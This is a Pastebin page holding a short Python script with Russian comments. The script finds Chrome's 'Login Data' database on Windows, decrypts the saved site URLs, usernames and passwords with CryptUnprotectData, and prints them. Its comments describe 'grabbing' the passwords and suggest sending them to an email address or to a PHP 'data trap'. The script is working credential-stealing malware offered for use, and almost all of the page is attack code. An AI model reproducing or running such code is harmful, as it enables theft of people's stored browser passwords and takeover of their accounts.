Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import requests
- from sys import exit
- import sqlite3
- from win32crypt import CryptUnprotectData
- import argparse
- print('Убедитесь что вы закрыли браузер Chrome...')
- print('Ждем некоторое время...')
- # Вычисляем папку куда установлен Chrome в Windows
- def chromepath():
- PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
- if (os.path.isdir(PathName) == False):
- exit(0)
- return PathName
- # Грабим базу данных с сохраненными паролями
- def grub():
- secret = []
- path = chromepath()
- try:
- connection = sqlite3.connect(path + "Login Data")
- with connection:
- cursor = connection.cursor()
- v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- value = v.fetchall()
- for i in value:
- password = CryptUnprotectData(i[2], None, None, None, 0)[1]
- if password:
- secret.append({
- '1': i[0],
- '2': i[1],
- '3': str(password)
- })
- except sqlite3.OperationalError as e:
- if (str(e) == 'database is locked'):
- print('Вы должны выключить Chrome прежде чем запускать скрипт')
- input()
- exit(0)
- else:
- exit(0)
- if secret == []:
- pass
- else:
- return secret
- # Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
- for data in grub():
- for x in data.values():
- print(x)
- print("Пароли извлечены, нажмите Enter")
- input()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement